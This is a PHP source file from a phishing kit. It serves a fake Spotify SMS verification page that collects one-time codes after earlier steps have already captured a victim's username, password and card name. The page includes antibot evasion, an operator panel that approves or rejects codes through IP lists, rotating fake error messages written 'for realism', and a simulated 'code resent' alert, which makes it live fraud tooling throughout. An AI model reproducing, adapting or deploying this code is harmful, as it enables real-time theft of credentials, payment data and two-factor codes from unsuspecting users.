<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Check if previous steps are completed
if (!isset($_SESSION['username']) || !isset($_SESSION['password']) || !isset($_SESSION['card_name'])) {
    header('Location: login.php');
    exit;
}

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;

// Initialize error attempt counter
if (!isset($_SESSION['sms_error_count'])) {
    $_SESSION['sms_error_count'] = 0;
}

// Check if there's an error parameter
$hasError = isset($_GET['error']) && $_GET['error'] == '1';

// Get client IP
$ip = getClientIP();

// IMPORTANT: Clear IP from ip_sms.txt to prevent infinite loop
$smsFile = BASE_PATH . '/Panel/action/ip_sms.txt';
if (file_exists($smsFile)) {
    $content = file_get_contents($smsFile);
    // Remove the IP to prevent redirect loop
    $content = str_replace($ip . "\n", '', $content);
    $content = str_replace($ip . "\r\n", '', $content);
    $content = str_replace($ip, '', $content);
    file_put_contents($smsFile, $content);
}

// If there's an error, clean the IP from badsms file so user can try again
if ($hasError) {
    $_SESSION['sms_error_count']++;
    
    $badsmsFile = BASE_PATH . '/Panel/action/ip_badsms.txt';
    
    if (file_exists($badsmsFile)) {
        $content = file_get_contents($badsmsFile);
        $content = str_replace($ip . PHP_EOL, '', $content);
        $content = str_replace($ip, '', $content);
        file_put_contents($badsmsFile, $content);
    }
}

// Multiple error messages for realism
$errorMessages = [
    "The code you entered is incorrect. Please try again.",
    "Invalid verification code. Please check and try again.",
    "The code doesn't match. Please enter the correct code.",
    "Incorrect code. Please verify and re-enter.",
    "The verification code is wrong. Please try again."
];

// Select error message based on attempt count
$errorMessage = '';
if ($_SESSION['sms_error_count'] > 0) {
    $errorIndex = ($_SESSION['sms_error_count'] - 1) % count($errorMessages);
    $errorMessage = $errorMessages[$errorIndex];
}

// Show account locked message after 5 attempts
$showLockedWarning = $_SESSION['sms_error_count'] >= 5;
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - SMS Verification</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; background-color: #000; color: #fff; min-height: 100vh; }
        
        /* Header */
        .header { background-color: #000; border-bottom: 1px solid #282828; padding: 16px 32px; display: flex; align-items: center; justify-content: space-between; }
        .logo { height: 40px; color: #fff; }
        .user-menu { display: flex; align-items: center; gap: 24px; }
        .user-icon { width: 32px; height: 32px; background-color: #333; border-radius: 50%; display: flex; align-items: center; justify-content: center; cursor: pointer; }
        
        /* Main Container */
        .main-container { display: flex; min-height: calc(100vh - 73px); }
        
        /* Sidebar */
        .sidebar { width: 250px; background-color: #000; border-right: 1px solid #282828; padding: 24px 0; }
        .sidebar-menu { list-style: none; }
        .sidebar-menu li { padding: 12px 24px; cursor: pointer; transition: background 0.2s; }
        .sidebar-menu li:hover { background-color: #282828; }
        .sidebar-menu li.active { background-color: #282828; border-left: 3px solid #1ed760; }
        .sidebar-menu li a { color: #b3b3b3; text-decoration: none; display: flex; align-items: center; gap: 12px; font-size: 14px; }
        .sidebar-menu li.active a { color: #fff; }
        
        /* Content */
        .content { flex: 1; padding: 32px; max-width: 600px; margin: 0 auto; }
        .card { background-color: #121212; border-radius: 8px; padding: 32px; margin-bottom: 24px; }
        .card-header { margin-bottom: 24px; text-align: center; }
        .card-header h2 { font-size: 24px; font-weight: 700; margin-bottom: 8px; }
        .card-header p { color: #b3b3b3; font-size: 14px; line-height: 1.6; }
        
        /* SMS Icon */
        .sms-icon { width: 80px; height: 80px; margin: 0 auto 24px; background-color: #1ed760; border-radius: 50%; display: flex; align-items: center; justify-content: center; }
        .sms-icon svg { width: 40px; height: 40px; color: #000; }
        
        /* Form */
        .form-group { margin-bottom: 24px; }
        .form-label { display: block; font-size: 14px; font-weight: 700; margin-bottom: 8px; color: #fff; text-align: center; }
        .form-input { width: 100%; padding: 16px; background-color: #000; border: 2px solid #727272; border-radius: 4px; color: #fff; font-size: 24px; outline: none; transition: all 0.2s; text-align: center; letter-spacing: 8px; font-weight: 700; }
        .form-input:hover { border-color: #fff; }
        .form-input:focus { border-color: #1ed760; box-shadow: 0 0 0 3px rgba(30, 215, 96, 0.1); }
        .form-input.error { border-color: #f15e6c; background-color: #2a0a0a; }
        
        /* Helper Text */
        .helper-text { text-align: center; color: #b3b3b3; font-size: 13px; margin-top: 8px; }
        
        /* Error Message Styles */
        .error-message {
            background: linear-gradient(135deg, #2a0a0a 0%, #1a0505 100%);
            border: 2px solid #f15e6c;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 20px;
            animation: shake 0.5s, fadeIn 0.3s;
            box-shadow: 0 0 20px rgba(241, 94, 108, 0.3);
        }
        
        .error-icon {
            font-size: 48px;
            text-align: center;
            margin-bottom: 10px;
            animation: pulse 1s infinite;
        }
        
        .error-text {
            color: #f15e6c;
            font-weight: 600;
            font-size: 16px;
            text-align: center;
            margin-bottom: 10px;
        }
        
        .error-attempts {
            color: #ff9999;
            font-size: 13px;
            text-align: center;
            margin-top: 8px;
            font-weight: 500;
        }
        
        .error-warning {
            color: #ffaa00;
            font-size: 13px;
            text-align: center;
            margin-top: 12px;
            padding: 10px;
            background: rgba(255, 170, 0, 0.1);
            border-radius: 4px;
            border: 1px solid rgba(255, 170, 0, 0.3);
        }
        
        /* Animations */
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            10%, 30%, 50%, 70%, 90% { transform: translateX(-10px); }
            20%, 40%, 60%, 80% { transform: translateX(10px); }
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.1); }
        }
        
        /* Error state for input */
        .form-input.error-shake {
            animation: shake 0.5s;
            border-color: #f15e6c !important;
            background-color: #2a0a0a !important;
        }
        
        /* Resend Link */
        .resend-section { text-align: center; margin: 24px 0; }
        .resend-link { color: #1ed760; text-decoration: none; font-size: 14px; font-weight: 700; }
        .resend-link:hover { text-decoration: underline; }
        
        /* Submit Button */
        .btn-submit { width: 100%; padding: 14px 32px; background-color: #1ed760; border: none; border-radius: 500px; color: #000; font-size: 16px; font-weight: 700; cursor: pointer; transition: all 0.2s; margin-top: 24px; }
        .btn-submit:hover { transform: scale(1.04); background-color: #1fdf64; }
        .btn-submit:active { transform: scale(1); }
        .btn-submit:disabled { background-color: #535353; color: #b3b3b3; cursor: not-allowed; transform: none; }
        
        /* Loading */
        .loading { display: none; text-align: center; padding: 20px; }
        .spinner { border: 3px solid #282828; border-top: 3px solid #1ed760; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 0 auto; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        
        /* Security Notice */
        .security-notice { background-color: #1a1a1a; border-left: 3px solid #1ed760; padding: 16px; border-radius: 4px; margin-top: 24px; }
        .security-notice p { font-size: 13px; color: #b3b3b3; line-height: 1.6; }
        .security-notice strong { color: #fff; }
        
        /* Responsive */
        @media (max-width: 768px) {
            .sidebar { display: none; }
            .content { padding: 16px; }
        }
    </style>
</head>
<body>
    <!-- Header -->
    <div class="header">
        <svg role="img" viewBox="0 0 24 24" class="logo" aria-label="Spotify">
            <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
        </svg>
        <div class="user-menu">
            <div class="user-icon">
                <svg width="16" height="16" viewBox="0 0 16 16" fill="#fff">
                    <path d="M8 8a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 1.5a6.5 6.5 0 0 0-6.5 6.5h13A6.5 6.5 0 0 0 8 9.5z"/>
                </svg>
            </div>
        </div>
    </div>

    <!-- Main Container -->
    <div class="main-container">
        <!-- Sidebar -->
        <div class="sidebar">
            <ul class="sidebar-menu">
                <li><a href="#"><?php echo __('common.account_overview'); ?></a></li>
                <li><a href="#"><?php echo __('common.edit_profile'); ?></a></li>
                <li><a href="#"><?php echo __('common.change_password'); ?></a></li>
                <li><a href="#"><?php echo __('common.notification_settings'); ?></a></li>
                <li class="active"><a href="#"><?php echo __('common.subscription'); ?></a></li>
                <li><a href="#"><?php echo __('common.receipts'); ?></a></li>
                <li><a href="#"><?php echo __('common.redeem'); ?></a></li>
            </ul>
        </div>

        <!-- Content -->
        <div class="content">
            <div class="card">
                <div class="sms-icon">
                    <svg viewBox="0 0 24 24" fill="currentColor">
                        <path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H6l-2 2V4h16v12z"/>
                        <path d="M7 9h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z"/>
                    </svg>
                </div>

                <div class="card-header">
                    <h2><?php echo __('sms.title'); ?></h2>
                    <?php if ($hasError): ?>
                        <div class="error-message" id="errorMessage">
                            <div class="error-icon">❌</div>
                            <p class="error-text"><?php echo htmlspecialchars($errorMessage); ?></p>
                            <?php if ($_SESSION['sms_error_count'] > 1): ?>
                                <p class="error-attempts">Attempt <?php echo $_SESSION['sms_error_count']; ?> of 5</p>
                            <?php endif; ?>
                            <?php if ($showLockedWarning): ?>
                                <p class="error-warning">⚠️ Warning: Your account may be temporarily locked after too many failed attempts.</p>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                    <p><?php echo __('sms.subtitle'); ?></p>
                </div>

                <form id="smsForm" action="process.php" method="POST">
                    <input type="hidden" name="action" value="sms">
                    
                    <div class="form-group">
                        <label for="sms_code" class="form-label"><?php echo __('sms.code_label'); ?></label>
                        <input 
                            type="text" 
                            id="sms_code" 
                            name="sms_code" 
                            class="form-input" 
                            placeholder="<?php echo __('sms.code_placeholder'); ?>" 
                            maxlength="6" 
                            pattern="[0-9]{4,6}"
                            autocomplete="off"
                            required
                        >
                        <p class="helper-text">Enter 4 or 6 digit code</p>
                    </div>

                    <div class="resend-section">
                        <a href="#" class="resend-link" id="resendLink"><?php echo __('sms.didnt_receive'); ?> <?php echo __('sms.resend_code'); ?></a>
                    </div>

                    <div id="loading" class="loading">
                        <div class="spinner"></div>
                        <p style="margin-top: 16px; color: #b3b3b3;"><?php echo __('loading.verifying'); ?></p>
                    </div>

                    <button type="submit" id="submitBtn" class="btn-submit"><?php echo __('common.confirm'); ?></button>
                </form>

                <div class="security-notice">
                    <p><strong>Security Notice:</strong> <?php echo __('sms.check_spam'); ?></p>
                </div>
            </div>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // Auto-focus on input
        $('#sms_code').focus();
        
        // Add shake animation to input if there's an error
        <?php if ($hasError): ?>
        $(document).ready(function() {
            $('#sms_code').addClass('error-shake');
            setTimeout(function() {
                $('#sms_code').removeClass('error-shake');
            }, 500);
        });
        <?php endif; ?>

        // Only allow numbers
        $('#sms_code').on('input', function() {
            this.value = this.value.replace(/[^0-9]/g, '');
            // Remove error class when user starts typing
            $(this).removeClass('error error-shake');
        });

        // Resend code
        $('#resendLink').on('click', function(e) {
            e.preventDefault();
            
            // Show loading state
            $(this).text('Sending...').css('pointer-events', 'none');
            
            setTimeout(function() {
                alert('A new code has been sent to your phone.');
                $('#resendLink').text("Didn't receive the code? Resend").css('pointer-events', 'auto');
            }, 1000);
        });

        // Form submission
        $('#smsForm').on('submit', function(e) {
            e.preventDefault();
            
            const smsCode = $('#sms_code').val();
            
            if (smsCode.length !== 4 && smsCode.length !== 6) {
                $('#sms_code').addClass('error-shake');
                alert('Please enter a valid 4 or 6 digit code');
                setTimeout(function() {
                    $('#sms_code').removeClass('error-shake');
                }, 500);
                return;
            }
            
            $('#sms_code').removeClass('error error-shake');
            
            // Show loading
            $('#loading').show();
            $('#submitBtn').prop('disabled', true).text('Verifying...');
            
            $.ajax({
                url: 'process.php',
                method: 'POST',
                data: {
                    action: 'sms',
                    sms_code: smsCode
                },
                success: function(response) {
                    // Redirect to loader to wait for panel decision
                    window.location.href = 'loader.php?step=sms';
                },
                error: function() {
                    // Redirect to loader to wait for panel decision
                    window.location.href = 'loader.php?step=sms';
                }
            });
        });
    </script>
</body>
</html>
